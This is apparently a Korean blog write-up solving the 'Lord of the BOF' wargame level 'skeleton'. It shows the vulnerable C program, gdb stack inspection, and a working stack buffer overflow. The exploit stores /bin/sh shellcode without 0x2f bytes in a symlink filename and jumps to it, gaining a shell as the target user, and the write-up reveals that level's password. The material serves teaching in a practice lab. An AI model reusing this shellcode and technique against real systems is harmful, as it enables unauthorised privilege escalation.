<skeleton.c>
[vampire@localhost vampire]$ cat -n skeleton.c
1 /*
2 The Lord of the BOF : The Fellowship of the BOF
3 - skeleton
4 - argv hunter
5 */
6
7 #include <stdio.h>
8 #include <stdlib.h>
9
10 extern char **environ;
11
12 main(int argc, char *argv[])
13 {
14 char buffer[40];
15 int i, saved_argc;
16
17 if(argc < 2){
18 printf("argv error\n");
19 exit(0);
20 }
21
22 // egghunter
23 for(i=0; environ[i]; i++)
24 memset(environ[i], 0, strlen(environ[i]));
25
26 if(argv[1][47] != '\xbf')
27 {
28 printf("stack is still your friend.\n");
29 exit(0);
30 }
31
32 // check the length of argument
33 if(strlen(argv[1]) > 48){
34 printf("argument is too long!\n");
35 exit(0);
36 }
37
38 // argc saver
39 saved_argc = argc;
40
41 strcpy(buffer, argv[1]);
42 printf("%s\n", buffer);
43
44 // buffer hunter
45 memset(buffer, 0, 40);
46
47 // ultra argv hunter!
48 for(i=0; i<saved_argc; i++)
49 memset(argv[i], 0, strlen(argv[i]));
50 }
ํ๊ฒฝ๋ณ์, argv, buffer... ์ฃ๋ค ์ด๊ธฐํ์ํค๋ค์
๋ง์ง๋ง์ ๋จ์์๋ ๋ฐ์ดํฐ๋ ๋จธ๊ฐ ์์์ง ํ์ธํด๋ด ์๋ค.
[vampire@localhost vampire]$ gdb -q test
(gdb) b * main+368
Breakpoint 1 at 0x8048670
(gdb) r `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'`
Starting program: /home/vampire/test `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿¿¿¿
Breakpoint 1, 0x8048670 in main ()
(gdb) x/i $eip
0x8048670 <main+368>: leave
(gdb) x/100wx $esp
0xbffffad8: 0x00000002 0x00000002 0x00000000 0x00000000
0xbffffae8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffaf8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb08: 0x41414141 0xbfbfbfbf 0x00000000 0xbffffb54
0xbffffb18: 0xbffffb60 0x40013868 0x00000002 0x08048450
0xbffffb28: 0x00000000 0x08048471 0x08048500 0x00000002
0xbffffb38: 0xbffffb54 0x08048390 0x080486ac 0x4000ae60
0xbffffb48: 0xbffffb4c 0x40013e90 0x00000002 0xbffffc4b
0xbffffb58: 0xbffffc5e 0x00000000 0xbffffc8f 0xbffffcb1
0xbffffb68: 0xbffffcbb 0xbffffcc9 0xbffffce8 0xbffffcf8
...
0xbfffff88: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff98: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffffa8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffffb8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffffc8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffffd8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffffe8: 0x6f682f00 0x762f656d 0x69706d61 0x742f6572
0xbffffff8: 0x00747365 0x00000000 Cannot access memory at address 0xc0000000
(gdb) x/s 0xbfffffe8
0xbfffffe8: ""
(gdb)
0xbfffffe9: "/home/vampire/test"
์ข ๋ฃ ์ง์ ์ break point๋ฅผ ๊ฑธ์ด์ค ๋ค, ํ์ธํด๋ณด๋ฉด ํ๋ก๊ทธ๋จ ์ด๋ฆ๋ง์ด ๋จ์์๋ค์.
orge๋ฌธ์ ์ ๊ฐ์ด ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ์ด์ฉํ์ฌ ํ์ผ๋ช ์ ์ ์ฝ๋๋ฅผ ๋ฃ์ด์ผ๊ฒ ์ฃ .
ํ๋ก๊ทธ๋จ์ด ์คํ๋๋ฉด์์ ์คํ ๋ ์ด์์์ ์๋ ๋งํฌ๋ฅผ ์ฐธ๊ณ ํ์ฌ์ฃผ์ธ์
https://www.win.tue.nl/~aeb/linux/hh/stack-layout.html
ln -s {๋์ ๊ฒฝ๋ก} {๋งํฌ ๊ฒฝ๋ก}
๊ณต๊ฒฉ์ ์ํด 0x2f๊ฐ ์๋ ์ ์ฝ๋๊ฐ ์ค๋น๋ผ์์ด์ผ๊ฒ ๋ค์.
+) ์๋๋ฉด 0x2f๋ง๋ค ๋์ด์ ๋๋ ํฐ๋ฆฌ๋ฅผ ์ถ๊ฐํด์ค๋ค๊ฑฐ๋...
0x2f๊ฐ ์๋ ์ ์ฝ๋ ๊ฒ์ํด๋ณด์๋ฉด ๋ง์ด ๋์ต๋๋ค.
๊ทธ๋๋ ์ ๋ ์ง์ ๋ง๋ค์ด์ ์ฌ์ฉํ์๋ ๊ฑธ ์ถ์ฒ๋๋ฆฝ๋๋ค.
๋ง๋๋ ๋ฐฉ๋ฒ์ ์ ๊ฐ ๋ฐ๋ก ํฌ์คํ ํด๋์์ผ๋ ์ฐธ๊ณ ํด์ฃผ์ธ์.
2020/12/19 - [system hacking/techniques] - shellcode (0x2f ์์ ๊ธฐ)
[vampire@localhost vampire]$ ln -s test `python -c 'print "\x31\xc0\x50\x89\xe2\xb8\x2e\x2e\x73\x68\x66\x05\x01\x01\x50\xb8\x2e\x62\x69\x6e\x40\x50\x89\xe3\x31\xc0\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`
[vampire@localhost vampire]$ ls -l
total 36
lrwxrwxrwx 1 vampire vampire 4 Dec 13 19:12 1๓ฟฟ?โถฎ.shf???P¸.bin@P?แฒPS?แฎฟหฟ -> test
-rwsr-sr-x 1 skeleton skeleton 12752 Mar 3 2010 skeleton
-rw-r--r-- 1 root root 821 Mar 29 2010 skeleton.c
-rwsr-sr-x 1 vampire vampire 12752 Dec 13 14:19 test
์ ํํ ์ฃผ์๋ฅผ ์ฐพ๊ธฐ ์ํด testํ์ผ์ ๋ง๋ค์ด ๋งํฌ ๊ฑธ์ด์ค ๋ค, ๋๋ฒ๊น ํด๋ณด์์ต๋๋ค.
[vampire@localhost vampire]$ `python -c 'print "./\x31\xc0\x50\x89\xe2\xb8\x2e\x2e\x73\x68\x66\x05\x01\x01\x50\xb8\x2e\x62\x69\x6e\x40\x50\x89\xe3\x31\xc0\x50\x53\x89\xe1\xb0\x0b\xcd\x80 " + "A"*44 + "\xbf\xbf\xbf\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿¿¿¿
Segmentation fault (core dumped)
[vampire@localhost vampire]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by ` '.
Program terminated with signal 11, Segmentation fault.
#0 0xbfbfbfbf in ?? ()
(gdb) x/s 0xbfffffd5
0xbfffffd5: ""
(gdb)
0xbfffffd6: ""
(gdb)
0xbfffffd7: "./1๓ฟฟ\211โถฎ.shf\005\001\001P¸.bin@P\211แฒPS\211แฏ013ฬ200"
(gdb)
0xbffffffc: ""
(gdb)
0xbffffffd: ""
(gdb)
0xbffffffe: ""
(gdb)
0xbfffffff: ""
(gdb)
0xc0000000: <Address 0xc0000000 out of bounds>
(gdb)
0xc0000000: <Address 0xc0000000 out of bounds>
0xbfffffd7์ ํ์ผ๋ช ์ด ๋ค์ด๊ฐ ์๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
์ฐ๋ฆฌ๊ฐ ์ฌ์ฉํ ์ ํํ ์ฃผ์๋ 0xbfffffd7+2("./"๋ฅผ ์ ์ธํ ๋ถ๋ถ)๊ฐ ๋๊ฒ ๋ค์.
๊ณต๊ฒฉ์ฝ๋ | ||
argv[0] | argv[1] | |
./{shellcode} | dummy (44) | 0xbfffffd9 |
์ฑ๊ณต์ ์ผ๋ก ์์ด ์คํ๋๋ ๋ชจ์ต์ ๋๋ค.
[vampire@localhost vampire]$ rm `python -c 'print "\x31\xc0\x50\x89\xe2\xb8\x2e\x2e\x73\x68\x66\x05\x01\x01\x50\xb8\x2e\x62\x69\x6e\x40\x50\x89\xe3\x31\xc0\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`
[vampire@localhost vampire]$ ln -s skeleton `python -c 'print "\x31\xc0\x50\x89\xe2\xb8\x2e\x2e\x73\x68\x66\x05\x01\x01\x50\xb8\x2e\x62\x69\x6e\x40\x50\x89\xe3\x31\xc0\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`
[vampire@localhost vampire]$ `python -c 'print "./\x31\xc0\x50\x89\xe2\xb8\x2e\x2e\x73\x68\x66\x05\x01\x01\x50\xb8\x2e\x62\x69\x6e\x40\x50\x89\xe3\x31\xc0\x50\x53\x89\xe1\xb0\x0b\xcd\x80 " + "A"*44 + "\xd9\xff\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAฺฟÿ¿
bash$ whoami
skeleton
bash$ my-pass
euid = 510
shellcoder
bash$
'wargame ๐ดโโ ๏ธ write-up > Lord of BOF' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
9. troll โ vampire (0) | 2020.12.14 |
---|---|
8. orge โ troll (0) | 2020.12.13 |
7. darkelf โ orge (0) | 2020.12.13 |
6. wolfman โ darkelf (0) | 2019.05.02 |